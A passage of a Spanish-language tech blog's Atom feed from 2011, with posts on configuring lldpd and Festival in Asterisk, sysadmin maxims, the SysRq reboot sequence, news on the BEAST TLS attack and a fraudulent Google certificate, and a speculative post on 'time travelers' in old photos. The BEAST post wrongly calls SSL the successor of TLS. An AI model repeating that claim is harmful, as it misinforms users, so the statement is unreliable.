type='text/html' href='http://dclavijo.blogspot.com/2011/10/guia-de-libros-scifi-y-fantasia.html' title='Guia de libros SciFi y fantasia.'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-6945769871666542138</id><published>2011-10-14T09:34:00.000-07:00</published><updated>2011-10-14T09:37:21.350-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='lldp'/><title type='text'>lldpd</title><content type='html'>&lt;a href="http://en.wikipedia.org/wiki/Link_Layer_Discovery_Protocol"&gt;lldp o (Link Layer Discovery Protocol) o 802.1AB&lt;/a&gt; es un protocolo estandar diseñado para suplantar una gama de protocolos propietarios de descubrimiento de capa de enlace.&lt;br /&gt;La siguiente aplicacion es un daemon muy util que nos permitira mapear la capa de enlace y ver a donde estamos conectados, soporta varios protocolos como lldp,&lt;a href="http://en.wikipedia.org/wiki/Cisco_Discovery_Protocol"&gt;cdp&lt;/a&gt;,edp,&lt;a href="http://en.wikipedia.org/wiki/Nortel_Discovery_Protocol"&gt;sonmp&lt;/a&gt;,fdp y snmp.&lt;br /&gt;&lt;br /&gt;Podemos instalarlo facilmente via apt:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;# apt-get install lldpd&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;O podemos intentar compilarlo nosostros mismos:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;$ git clone &lt;a href="https://github.com/vincentbernat/lldpd"&gt;https://github.com/vincentbernat/lldpd&lt;/a&gt;&lt;br /&gt;$ cd lldpd&lt;br /&gt;$ ./autogen.sh&lt;br /&gt;$ ./configure&lt;br /&gt;$ make&lt;br /&gt;# make install&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;Luego editamos las opciones por defecto de arranque del daemon:&lt;br /&gt;&lt;br /&gt;Editamos el archivo&lt;span class="Apple-style-span" style="color: lime;"&gt; /etc/default/lldpd&lt;/span&gt; y agregamos:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: black; color: lime;"&gt;DAEMON_ARGS="-xcefs"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Reiniciamos el servicio:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;# /etc/init.d/lldpd restart&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Y podemos ver en el log que arranco sin problemas:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;# tail -f /var/log/syslog&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;Oct 14 14:11:58 debian-test lldpd[10876]: lldpd_main: protocol LLDP enabled&lt;br /&gt;Oct 14 14:11:58 debian-test lldpd[10876]: lldpd_main: protocol CDPv1 enabled&lt;br /&gt;Oct 14 14:11:58 debian-test lldpd[10876]: lldpd_main: protocol CDPv2 enabled&lt;br /&gt;Oct 14 14:11:58 debian-test lldpd[10876]: lldpd_main: protocol SONMP enabled&lt;br /&gt;Oct 14 14:11:58 debian-test lldpd[10876]: lldpd_main: protocol EDP enabled&lt;br /&gt;Oct 14 14:11:58 debian-test lldpd[10876]: lldpd_main: protocol FDP enabled&lt;/div&gt;&lt;br /&gt;Por ultimo podemos ver que datos recabo el daemon con una herramienta llamada lldpctl:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;# lldpctl -d&lt;/span&gt;&lt;br /&gt;&lt;div class="code"&gt;-------------------------------------------------------------------------------&lt;br /&gt;LLDP neighbors:&lt;br /&gt;-------------------------------------------------------------------------------&lt;br /&gt;Interface: &amp;nbsp; &amp;nbsp;eth0, via: CDPv2, RID: 1, Time: 0 day, 00:00:40&lt;br /&gt;&amp;nbsp; Chassis: &amp;nbsp; &lt;br /&gt;&amp;nbsp; &amp;nbsp; ChassisID: &amp;nbsp; &amp;nbsp;local cisco-sw1&lt;br /&gt;&amp;nbsp; &amp;nbsp; SysName: &amp;nbsp; &amp;nbsp; &amp;nbsp;cisco-sw1&lt;br /&gt;&amp;nbsp; &amp;nbsp; SysDescr: &amp;nbsp; &amp;nbsp; cisco WS-C2960G-24TC-L running on&lt;br /&gt;Cisco IOS Software, C2960 Software (C2960-LANBASE-M), Version 12.2(35)SE5, RELEASE SOFTWARE (fc1)&lt;br /&gt;Copyright (c) 1986-2007 by Cisco Systems, Inc.&lt;br /&gt;Compiled Thu 19-Jul-07 20:06 by nachen&lt;br /&gt;&amp;nbsp; &amp;nbsp; MgmtIP: &amp;nbsp; &amp;nbsp; &amp;nbsp; 10.0.0.1&lt;br /&gt;&amp;nbsp; &amp;nbsp; Capability: &amp;nbsp; Bridge, on&lt;br /&gt;&amp;nbsp; Port: &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp; &amp;nbsp; PortID: &amp;nbsp; &amp;nbsp; &amp;nbsp; ifname GigabitEthernet0/5&lt;br /&gt;&amp;nbsp; &amp;nbsp; PortDescr: &amp;nbsp; &amp;nbsp;GigabitEthernet0/5&lt;br /&gt;-------------------------------------------------------------------------------&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-6945769871666542138?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/6945769871666542138/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/10/lldpd.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/6945769871666542138'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/6945769871666542138'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/10/lldpd.html' title='lldpd'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-5627281402408530078</id><published>2011-10-13T07:52:00.000-07:00</published><updated>2011-10-13T07:54:47.171-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='festival'/><category scheme='http://www.blogger.com/atom/ns#' term='tts'/><category scheme='http://www.blogger.com/atom/ns#' term='elastix'/><category scheme='http://www.blogger.com/atom/ns#' term='asterisk'/><title type='text'>Probando Festival en Elastix</title><content type='html'>Utilizando la ultima versión de Elastix que viene con el Asterisk 1.8.5.0 y suponiendo que ya tenemos alguna extensión configurada y registrada:&lt;br /&gt;&lt;br /&gt;Editamos el archivo &lt;span class="Apple-style-span" style="color: lime;"&gt;/etc/asterisk/festival.conf:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;; Festival Configuration&lt;br /&gt;[general]&lt;br /&gt;host=localhost&lt;br /&gt;port=1314&lt;br /&gt;usecache=yes&lt;br /&gt;cachedir=/var/lib/asterisk/festivalcache/&lt;br /&gt;festivalcommand=(tts_textasterisk "%s" 'file)(quit)\n&lt;/div&gt;&lt;br /&gt;Editamos el archivo &lt;span class="Apple-style-span" style="color: lime;"&gt;/etc/asterisk/extensions_custom.conf&lt;/span&gt; donde podemos agregar nuestras &lt;br /&gt;extensiones "custom":&lt;br /&gt;&lt;div class="code"&gt;exten =&amp;gt; 5454,1,Answer&lt;br /&gt;exten =&amp;gt; 5454,2,Festival(this is a test)&lt;br /&gt;exten =&amp;gt; 5454,3,Hangup&lt;/div&gt;&lt;br /&gt;En el archivo&lt;span class="Apple-style-span" style="color: lime;"&gt; /usr/share/festival/festival.scm&lt;/span&gt; agregamos antes de la ultima linea:&lt;br /&gt;&lt;div class="code"&gt;(define (tts_textasterisk string mode)&lt;br /&gt;"(tts_textasterisk STRING MODE)&lt;br /&gt;Apply tts to STRING. This function is specifically designed for use in&lt;br /&gt;server mode so a single function call may synthesize the string. This&lt;br /&gt;function name may be added to the server safe functions."&lt;br /&gt;(let ((wholeutt (utt.synth (eval (list 'Utterance 'Text string)))))&lt;br /&gt;(utt.wave.resample wholeutt 8000)&lt;br /&gt;(utt.wave.rescale wholeutt 5)&lt;br /&gt;(utt.send.wave.client wholeutt)))&lt;/div&gt;&lt;br /&gt;Reiniciamos el servicio de asterisk y de festival&lt;br /&gt;&lt;div class="code"&gt;# /etc/init.d/festival restart&lt;br /&gt;# /etc/init.d/asterisk restart&lt;/div&gt;&lt;br /&gt;Para probar que todo funcione probamos llamar al interno 5454, también podemos ir a la consola de asterisk con:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;# asterisk -r&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Y al hacer la llamada tendríamos que ver lo siguiente:&lt;br /&gt;&lt;div class="code"&gt;-- Executing [5454@from-internal:2] Answer("SIP/1000-0000000d", "") in new stack&lt;br /&gt;-- Executing [5454@from-internal:3] Festival("SIP/1000-0000000d", "This is a test") in new stack&lt;br /&gt;== Parsing '/etc/asterisk/festival.conf':   == Found&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-5627281402408530078?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/5627281402408530078/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/10/probando-festival-en-elastix.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/5627281402408530078'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/5627281402408530078'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/10/probando-festival-en-elastix.html' title='Probando Festival en Elastix'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-8620320071797434269</id><published>2011-10-08T10:46:00.000-07:00</published><updated>2011-10-08T10:48:21.987-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='misc'/><title type='text'>Los diez mandamientos de un Administrador de Sistemas.</title><content type='html'>Simplemente poniendo esto en practica nos puede facilitar mucho la vida a la hora de hacer nuestra tarea como sysadmin. &lt;br /&gt;&lt;br /&gt;1. &amp;nbsp; &amp;nbsp; &amp;nbsp;Learn English&lt;br /&gt;2. &amp;nbsp; &amp;nbsp; &amp;nbsp;Never do something you can't undo.&lt;br /&gt;3. &amp;nbsp; &amp;nbsp; &amp;nbsp;Always check the backups, never assume they are working. Make sure&lt;br /&gt;you can restore from them, too.&lt;br /&gt;4. &amp;nbsp; &amp;nbsp; &amp;nbsp;Write down what you did, even if you know you will never forget it, you will.&lt;br /&gt;5. &amp;nbsp; &amp;nbsp; &amp;nbsp;If you do it more than once, write a script.&lt;br /&gt;6. &amp;nbsp; &amp;nbsp; &amp;nbsp;Get to know your users before there is a problem, then when there&lt;br /&gt;is, they will know who you are and maybe have a little understanding.&lt;br /&gt;7. &amp;nbsp; &amp;nbsp; &amp;nbsp;Remember you are performing a service for your users, you don't own&lt;br /&gt;the system, you just get to play with it.&lt;br /&gt;8. &amp;nbsp; &amp;nbsp; &amp;nbsp;Check your backups.&lt;br /&gt;9. &amp;nbsp; &amp;nbsp; &amp;nbsp;Never stop learning, there is always something you should know to&lt;br /&gt;make your job easier and your system more stable and secure.&lt;br /&gt;10. &amp;nbsp; &amp;nbsp; Check your backups, again.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-8620320071797434269?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/8620320071797434269/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/10/los-dies-mandamientos-de-un.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8620320071797434269'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8620320071797434269'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/10/los-dies-mandamientos-de-un.html' title='Los diez mandamientos de un Administrador de Sistemas.'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-8374528139768228809</id><published>2011-09-24T10:42:00.000-07:00</published><updated>2011-09-24T10:47:33.790-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='misc'/><title type='text'>Time travelers?</title><content type='html'>Este post no tiene nada que ver con la linea temática que venia siguiendo pero es acerca de uno de los temas que dan vueltas en mi cabecita.&lt;br /&gt;&lt;br /&gt;Todo parte de lo siguiente, si en algún momento la humanidad desarrollase la capacidad para que una persona pueda viajar en el tiempo no seria posible que ya tuviésemos registrados eventos de ello en todo el archivo fotográfico y filmografico que hoy esta al alcance publico y que no nos estamos dando cuenta?&lt;br /&gt;Se me ocurre que algún timetraveler pudo meter la pata y quedar retratado para la eternidad en un film de acetato...&lt;br /&gt;&lt;br /&gt;Por ejemplo un par de imágenes donde se retratan situaciones dudosas que no podemos verificar con total certeza en el día de hoy&lt;br /&gt;&lt;br /&gt;Las siguientes son dos fotos de una película de Charles Chaplin The Circus del año 1928&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/--5BuxtTjS1U/Tn4Iwt7BywI/AAAAAAAAAaQ/Hu-nsSRcaVc/s1600/time-travel-chaplin.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="178" src="http://2.bp.blogspot.com/--5BuxtTjS1U/Tn4Iwt7BywI/AAAAAAAAAaQ/Hu-nsSRcaVc/s400/time-travel-chaplin.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;Un acercamiento sobre la cara de la señora:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-GFG8MonzV2w/Tn4I_JU0l2I/AAAAAAAAAaU/Odx7lAx2Rrs/s1600/charlie-chapman-cell-phone21.jpeg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="221" src="http://4.bp.blogspot.com/-GFG8MonzV2w/Tn4I_JU0l2I/AAAAAAAAAaU/Odx7lAx2Rrs/s320/charlie-chapman-cell-phone21.jpeg" width="320" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Parece que estuviese hablando por un teléfono móvil no?, en 1928!? &lt;br /&gt;&lt;br /&gt;Luego esta foto del año 1940-1941, la persona a la derecha usando lentes de sol:&lt;br /&gt;&lt;br /&gt;Titulo: &lt;i&gt;"Reopening of the South Fork Bridge after flood in Nov. 1940. 1941 (?)”&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;/i&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-Yn6UXGYw0cM/Tn4JSXSMVvI/AAAAAAAAAaY/NQf0rgnbBSI/s1600/GyH4R_Time_traveler_caught_on_camera_from_1941-s795x572-49286-580.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="287" src="http://3.bp.blogspot.com/-Yn6UXGYw0cM/Tn4JSXSMVvI/AAAAAAAAAaY/NQf0rgnbBSI/s400/GyH4R_Time_traveler_caught_on_camera_from_1941-s795x572-49286-580.png" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Acerca de esta foto se sabe que esta en el &lt;a href="http://www.virtualmuseum.ca/pm.php?id=story_line_index&amp;amp;fl=0&amp;amp;lg=English&amp;amp;ex=234&amp;amp;pos=1"&gt;Virtual Bralorne Pioneer Museum&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Un poco mas sobre su contexto: parece bastante verídica. &lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-2FMlAbkGKds/Tn4Pxf5WegI/AAAAAAAAAak/_xnGxVWiFfA/s1600/05.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="256" src="http://2.bp.blogspot.com/-2FMlAbkGKds/Tn4Pxf5WegI/AAAAAAAAAak/_xnGxVWiFfA/s320/05.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-oKq78bajMrA/Tn4QCLKTtdI/AAAAAAAAAao/KNeGsqI68Ks/s1600/01.jpg" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="256" src="http://1.bp.blogspot.com/-oKq78bajMrA/Tn4QCLKTtdI/AAAAAAAAAao/KNeGsqI68Ks/s320/01.jpg" width="320" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Simplemente no salgo de mi asombro y aunque es muy posible de que las fotos simplemente estén retratando una realidad natural sobre un momento que todavía no tenemos explicación y que por casualidad nos hace pensar en esta fantasía sobre los viajes en el tiempo y me hace dejar la pregunta:&lt;br /&gt;&lt;br /&gt;Seria posible que estos sean indicios de algo inevitable y trascendental va a suceder en el curso de la historia human?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-8374528139768228809?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/8374528139768228809/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/09/time-travelers.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8374528139768228809'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8374528139768228809'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/09/time-travelers.html' title='Time travelers?'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/--5BuxtTjS1U/Tn4Iwt7BywI/AAAAAAAAAaQ/Hu-nsSRcaVc/s72-c/time-travel-chaplin.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-8218648815690131664</id><published>2011-09-22T09:45:00.000-07:00</published><updated>2011-09-22T09:45:39.217-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ssl'/><category scheme='http://www.blogger.com/atom/ns#' term='tls'/><category scheme='http://www.blogger.com/atom/ns#' term='seguridad'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><title type='text'>Encontrada vulnerabilidad en TLS 1.0</title><content type='html'>Al parecer en un congreso de &lt;a href="http://ekoparty.org/cronograma.php"&gt;ekoparty&lt;/a&gt; en la ciudad de buenos aires se publicaran los detalles acerca de un exploit &lt;a href="http://es.wikipedia.org/wiki/Ataque_de_d%C3%ADa_cero"&gt;0day&lt;/a&gt; el cual vulnera a &lt;a href="http://es.wikipedia.org/wiki/Transport_Layer_Security"&gt;TLS&lt;/a&gt; 1.0.&amp;nbsp;y a su sucesor &lt;a href="http://es.wikipedia.org/wiki/Transport_Layer_Security"&gt;SSL&lt;/a&gt;&lt;br /&gt;Incluso este exploit&amp;nbsp;llamado BEAST&amp;nbsp;funciona sobre sitios que soportan HSTS y lo que hace&amp;nbsp;básicamente&amp;nbsp;es un ataque man in the middle.&lt;br /&gt;Al parecer solo afecta a la version 1.0, las versiones 1.1 y 1.2 del protocolo &lt;a href="http://es.wikipedia.org/wiki/Transport_Layer_Security"&gt;TLS&lt;/a&gt; no son vulnerables pero la&amp;nbsp;mayoría&amp;nbsp;de los navegadores&amp;nbsp;todavía&amp;nbsp;no las soporta.&lt;br /&gt;&lt;br /&gt;Fuente [&lt;a href="http://www.theregister.co.uk/2011/09/19/beast_exploits_paypal_ssl/"&gt;http://www.theregister.co.uk/2011/09/19/beast_exploits_paypal_ssl/&lt;/a&gt;]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-8218648815690131664?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/8218648815690131664/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/09/encontrada-vulnerabilidad-en-tls-10.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8218648815690131664'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8218648815690131664'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/09/encontrada-vulnerabilidad-en-tls-10.html' title='Encontrada vulnerabilidad en TLS 1.0'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-1203397768029349222</id><published>2011-09-12T08:48:00.000-07:00</published><updated>2011-09-12T16:16:18.241-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Combinacion de teclas para cuelgues en Linux</title><content type='html'>Si se nos cuelga la maquina algún día podemos probar con &lt;b&gt;Alt+SysReq&lt;/b&gt; y luego sin soltar la tecla &lt;b&gt;Alt&lt;/b&gt; presionamos la siguiente secuencia:&lt;br /&gt;&lt;br /&gt;R (crudo): Cambia el teclado a modo crudo.&lt;b&gt;R&lt;/b&gt;aw&lt;br /&gt;E (terminar): Fuerza a los procesos a terminar su ejecución. t&lt;b&gt;E&lt;/b&gt;rminate&lt;br /&gt;I (matar): Mata a los procesos que aún queden con vida. k&lt;b&gt;I&lt;/b&gt;ll&lt;br /&gt;S (sincronizar): Escribe en el/los disco(s) cualquier cambio pendiente. &lt;b&gt;S&lt;/b&gt;ync&lt;br /&gt;U (desmontar): Pone el/los disco(s) en modo de sólo lectura. &lt;b&gt;U&lt;/b&gt;nmount &lt;br /&gt;B (reiniciar): Reinicia el sistema. re&lt;b&gt;B&lt;/b&gt;oot &lt;br /&gt;&lt;br /&gt;Eso nos permitirá reiniciar el todo el sistema con una mínima o nula perdida de datos.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-1203397768029349222?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/1203397768029349222/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/09/combinacion-de-teclas-para-cuelgues-en.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/1203397768029349222'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/1203397768029349222'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/09/combinacion-de-teclas-para-cuelgues-en.html' title='Combinacion de teclas para cuelgues en Linux'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-2701338023364003459</id><published>2011-09-09T06:10:00.000-07:00</published><updated>2011-09-09T06:11:14.232-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ssl'/><category scheme='http://www.blogger.com/atom/ns#' term='internet'/><category scheme='http://www.blogger.com/atom/ns#' term='seguridad'/><title type='text'>Certificado de Google</title><content type='html'>Estaba leyendo el blog de la EFF.net y me encontré con un post de la semana pasada que se llama &lt;a href="http://www.eff.org/deeplinks/2011/08/iranian-man-middle-attack-against-google"&gt;Iranian Man-in-the-Middle Attack Against Google Demonstrates Dangerous Weakness of Certificate Authorities&lt;/a&gt;&lt;br /&gt;En este post hablan acerca de un certificado de trucho de google que anda en la red hace un tiempo.&lt;br /&gt;Del certificado que les estoy hablando es de los que se utilizan para establecer las conexiones &lt;a href="http://es.wikipedia.org/wiki/Hypertext_Transfer_Protocol_Secure"&gt;HTTPS&lt;/a&gt; con &lt;a href="http://es.wikipedia.org/wiki/Transport_Layer_Security"&gt;SSL&lt;/a&gt; de forma segura siempre y cuando el mecanismo de confianza no falle.&lt;br /&gt;En realidad el problema no recide en google sino el sistema de confianza de certificados el cual ya no es tan seguro hoy en&amp;nbsp;día&amp;nbsp;ya que si comprometemos a la entidad firmante todo lo que sea firmado sera vulnerable.&lt;br /&gt;Por otro lado los certificados fraudulentos no necesitan ser firmados por la misma autoridad firmante que firma los certificados&amp;nbsp;legítimos.&lt;br /&gt;Al parecer el certificado trucho fue firmado por una empresa Holandesa que no tiene&amp;nbsp;relación&amp;nbsp;ninguna con google.&lt;br /&gt;Al día de hoy este certificado trucho ya fue revocado y no nos afectara.&amp;nbsp;Además para mitigar este tipo de ataques Google Chrome ya cuenta con el sistema de &lt;a href="http://www.imperialviolet.org/2011/05/04/pinning.html"&gt;public key pinning&lt;/a&gt;&amp;nbsp;el cual consta de hardcodear los fingerprints de los certificados de los distintos&amp;nbsp;servicios&amp;nbsp;que brinda Google lo cual implica que otro certificado que no sea el original de Google aunque sea valido el navegador lo rechazara.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-2701338023364003459?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/2701338023364003459/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/09/certificado-de-google.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/2701338023364003459'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/2701338023364003459'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/09/certificado-de-google.html' title='Certificado de 